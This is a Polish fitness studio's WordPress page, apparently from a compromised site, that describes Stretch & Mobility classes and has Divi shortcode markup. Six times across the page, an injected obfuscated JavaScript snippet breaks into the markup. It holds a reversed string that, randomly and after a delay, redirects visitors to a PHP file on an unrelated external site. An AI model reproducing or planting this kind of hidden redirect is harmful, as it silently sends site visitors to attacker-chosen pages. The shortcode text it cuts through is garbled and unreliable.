) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tom_padding=”0px|0px|5px|0px”]
) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tom_padding=”42px|0px|0px|0px”]
[et_pb_button button_text=”GRAFIK ZAJĘĆ” button_alignment=”center” _builder_version=”3.0.59″ custom_button=”on” button_text_size=”24px” button_text_color=”#ffffff” button_bg_color=”#0c71c3″ button_border_color=”#0c71c3″][/et_pb_button]
) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tom_padding=”27px|0px|35px|0px” custom_margin=”|||” background_color_1=”rgba(0,0,0,0.43)” padding_top_1=”30px” padding_right_1=”40px” padding_bottom_1=”40px” padding_left_1=”40px” background_position_1=”top_left” background_position_2=”top_left” background_repeat_1=”no-repeat” background_repeat_2=”no-repeat” _builder_version=”3.0.59″]
) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tom=”40px” padding_left=”40px” padding_right=”40px” padding_top=”30px” background_color=”rgba(0,0,0,0.43)” parallax=”off” parallax_method=”on” background_position=”top_left” background_repeat=”no-repeat”]
) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to||||” text_font_size=”16px” text_text_color=”#ffffff” text_line_height=”1.3em” header_font=”Roboto||||” header_text_color=”#ffffff”]
STRETCH & MOBILITY
To zajęcia mające na celu rozciągnięcie i rozluźnianie wszystkich grup mięśniowych. Jest naturalnym systemem ćwiczeń, który zaczerpnięto z obserwacji zwierząt łownych. Ruchy należy wykonywać dokładnie i powoli. Do zalet stretchingu zaliczyć można przede wszystkim eliminowanie napięcia mięśniowego, zwiększanie elastyczności, poprawę gibkości i ruchomości w stawach. Stretching to nieodłączna cześć każdego treningu, a także świetny sposób na odprężenie oraz relaks dla ciała i ducha.
) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top_left” background_repeat=”no-repeat”]
